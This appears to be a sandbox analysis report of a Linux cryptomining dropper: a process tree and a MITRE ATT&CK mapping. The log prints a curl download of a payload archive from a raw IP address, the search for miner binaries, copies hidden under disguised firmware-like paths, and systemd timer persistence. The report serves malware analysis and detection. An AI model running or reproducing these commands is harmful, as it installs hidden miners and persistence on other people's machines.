  find /root/.local/share/icc/.mgr -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:1934
- /usr/bin/head
  head -100
  2⤵
  PID:1938
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -size +500k
  2⤵
  PID:1937
- /usr/bin/head
  head -1
  2⤵
  PID:1942
- /usr/bin/find
  find /root/.local/share/icc -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:1941
- /usr/bin/head
  head -1
  2⤵
  PID:1945
- /usr/bin/find
  find /root/.local/share/icc -type f -name glint -size +500k
  2⤵
  PID:1944
- /usr/bin/head
  head -1
  2⤵
  PID:1948
- /usr/bin/find
  find /root/.local/share/icc -type f -name miner2 -size +500k
  2⤵
  PID:1947
- /usr/bin/head
  head -1
  2⤵
  PID:1951
- /usr/bin/find
  find /root/.local/share/icc -type f -name krig-miner -size +500k
  2⤵
  PID:1950
- /usr/bin/find
  find /root/.local/share/icc -type f -name pearl -size +500k
  2⤵
  PID:1953
- /usr/bin/head
  head -1
  2⤵
  PID:1954
- /usr/bin/find
  find /root/.local/share/icc -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:1956
- /usr/bin/head
  head -1
  2⤵
  PID:1957
- /usr/bin/find
  find /root/.local/share/icc -type f -size +500k
  2⤵
  PID:1959
- /usr/bin/head
  head -100
  2⤵
  PID:1960
- /usr/bin/head
  head -1
  2⤵
  PID:1964
- /usr/bin/find
  find /tmp -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:1963
- /usr/bin/head
  head -1
  2⤵
  PID:1967
- /usr/bin/find
  find /tmp -type f -name glint -size +500k
  2⤵
  PID:1966
- /usr/bin/find
  find /tmp -type f -name miner2 -size +500k
  2⤵
  PID:1969
- /usr/bin/head
  head -1
  2⤵
  PID:1970
- /usr/bin/find
  find /tmp -type f -name krig-miner -size +500k
  2⤵
  PID:1972
- /usr/bin/head
  head -1
  2⤵
  PID:1973
- /usr/bin/head
  head -1
  2⤵
  PID:1976
- /usr/bin/find
  find /tmp -type f -name pearl -size +500k
  2⤵
  PID:1975
- /usr/bin/head
  head -1
  2⤵
  PID:1979
- /usr/bin/find
  find /tmp -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:1978
- /usr/bin/head
  head -100
  2⤵
  PID:1982
- /usr/bin/find
  find /tmp -type f -size +500k
  2⤵
  PID:1981
- /bin/mkdir
  mkdir -p /root/.local/share/icc/.mgr/rt15818
  2⤵
  PID:1983
- /usr/bin/curl
  curl -fsSL --max-time 300 http://23.252.123.134:18095/fleet_lin.tgz -o /root/.local/share/icc/.mgr/rt15818/f.tgz
  2⤵
  - Checks CPU configuration
  PID:1984
- /bin/tar
  tar -xzf /root/.local/share/icc/.mgr/rt15818/f.tgz -C /root/.local/share/icc/.mgr/rt15818
  2⤵
  PID:1986
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:1987
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:1987
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:1987
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:1987
- - /sbin/gzip
    gzip -d
    3⤵
    PID:1987
- - /bin/gzip
    gzip -d
    3⤵
    PID:1987
- /usr/bin/head
  head -1
  2⤵
  PID:1993
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt15818 -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:1992
- /usr/bin/head
  head -1
  2⤵
  PID:1996
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt15818 -type f -name glint -size +500k
  2⤵
  PID:1995
- /usr/bin/head
  head -1
  2⤵
  PID:1999
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt15818 -type f -name miner2 -size +500k
  2⤵
  PID:1998
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt15818 -type f -name krig-miner -size +500k
  2⤵
  PID:2001
- /usr/bin/head
  head -1
  2⤵
  PID:2002
- /usr/bin/head
  head -1
  2⤵
  PID:2005
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt15818 -type f -name pearl -size +500k
  2⤵
  PID:2004
- /usr/bin/head
  head -1
  2⤵
  PID:2008
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt15818 -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:2007
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt15818 -type f -size +500k
  2⤵
  PID:2010
- /usr/bin/head
  head -100
  2⤵
  PID:2011
- /usr/bin/stat
  stat "-c%s" /root/.local/share/icc/.mgr/rt15818/c
  2⤵
  PID:2013
- /usr/bin/basename
  basename /root/.local/share/icc/.mgr/rt15818/c
  2⤵
  PID:2015
- /usr/bin/dirname
  dirname /root/.local/share/icc/.mgr/rt15818/c
  2⤵
  PID:2016
- /bin/tar
  tar -czf /tmp/.lxseal.tgz -C /root/.local/share/icc/.mgr/rt15818 .
  2⤵
  - Writes file to tmp directory
  PID:2017
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:2018
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:2019
- /usr/bin/dirname
  dirname /usr/share/.lx-seal/gl.dat
  2⤵
  PID:2024
- /bin/mkdir
  mkdir -p /usr/share/.lx-seal
  2⤵
  PID:2025
- /bin/cp
  cp -f /tmp/.lxseal.tgz /usr/share/.lx-seal/gl.dat
  2⤵
  - Reads runtime system information
  PID:2026
- /usr/bin/dirname
  2⤵
  PID:2027
- /bin/mkdir
  2⤵
  PID:2028
- /bin/cp
  2⤵
  PID:2029
- /usr/bin/dirname
  2⤵
  PID:2030
- /bin/mkdir
  2⤵
  PID:2031
- /bin/cp
  2⤵
  PID:2032
- /usr/bin/dirname
  2⤵
  PID:2033
- /bin/mkdir
  2⤵
  PID:2034
- /bin/cp
  2⤵
  PID:2035
- /usr/bin/dirname
  2⤵
  PID:2038
- /bin/mkdir
  2⤵
  PID:2039
- /bin/cp
  2⤵
  PID:2040
- /usr/bin/dirname
  2⤵
  PID:2041
- /bin/mkdir
  2⤵
  - Reads runtime system information
  PID:2042
- /bin/cp
  2⤵
  - Reads runtime system information
  PID:2043
- /usr/bin/dirname
  2⤵
  PID:2044
- /bin/mkdir
  2⤵
  PID:2045
- /bin/cp
  2⤵
  - Reads runtime system information
  PID:2046
- /usr/bin/dirname
  2⤵
  PID:2047
- /bin/mkdir
  2⤵
  PID:2048
- /bin/cp
  2⤵
  - Reads runtime system information
  PID:2049
- /usr/bin/dirname
  2⤵
  PID:2050
- /bin/mkdir
  2⤵
  PID:2051
- /bin/cp
  2⤵
  PID:2052
- /usr/bin/dirname
  dirname /root/.nv/ComputeCache/.fw/nv-firmware-39.img
  2⤵
  PID:2053
- /bin/mkdir
  mkdir -p /root/.nv/ComputeCache/.fw
  2⤵
  PID:2054
- /bin/cp
  cp -f /tmp/.lxseal.tgz /root/.nv/ComputeCache/.fw/nv-firmware-39.img
  2⤵
  PID:2055
- /usr/bin/dirname
  2⤵
  PID:2056
- /bin/mkdir
  2⤵
  PID:2057
- /bin/cp
  2⤵
  PID:2058
- /usr/bin/dirname
  2⤵
  PID:2059
- /bin/mkdir
  2⤵
  PID:2060
- /bin/cp
  2⤵
  PID:2061
- /usr/bin/dirname
  2⤵
  PID:2062
- /bin/mkdir
  2⤵
  PID:2063
- /bin/cp
  2⤵
  PID:2064
- /bin/date
  2⤵
  PID:2065
- /usr/bin/dirname
  2⤵
  PID:2066
- /bin/chmod
  2⤵
  PID:2067
- /usr/bin/basename
  2⤵
  PID:2068
- /bin/grep
  2⤵
  PID:2070
- /usr/bin/pgrep
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2069
- /bin/date
  2⤵
  PID:2072
- /usr/bin/nohup
  2⤵
  PID:2073
- /usr/local/sbin/setsid
  2⤵
  PID:2073
- /usr/local/bin/setsid
  2⤵
  PID:2073
- /usr/sbin/setsid
  2⤵
  PID:2073
- /usr/bin/setsid
  2⤵
  PID:2073
- /usr/local/sbin/env
  2⤵
  PID:2073
- /usr/local/bin/env
  2⤵
  PID:2073
- /usr/sbin/env
  2⤵
  PID:2073
- /usr/bin/env
  2⤵
  PID:2073
- /bin/cat
  2⤵
  PID:2074
- /usr/local/sbin/bash
  2⤵
  PID:2073
- /usr/local/bin/bash
  2⤵
  PID:2073
- /usr/sbin/bash
  2⤵
  PID:2073
- /usr/bin/bash
  2⤵
  PID:2073
- /sbin/bash
  2⤵
  PID:2073
- /bin/bash
  2⤵
  - Executes dropped EXE
  PID:2073
- /bin/chmod
  2⤵
  PID:2075
- /bin/chmod
  2⤵
  PID:2076
- /bin/chmod
  2⤵
  PID:2078
- /root/.local/share/icc/.mgr/rt15818/c
  2⤵
  PID:2073
- /usr/bin/touch
  2⤵
  PID:2079
- /bin/grep
  2⤵
  PID:2080
- /bin/cat
  2⤵
  PID:2082
- /bin/cat
  2⤵
  PID:2083
- /bin/systemctl
  2⤵
  - Enumerates kernel/hardware configuration
  PID:2084
- /bin/systemctl
  systemctl enable --now zz-lx.timer
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:2098
- /bin/date
  date "+%F %T"
  2⤵
  PID:2113

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Defense Evasion

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable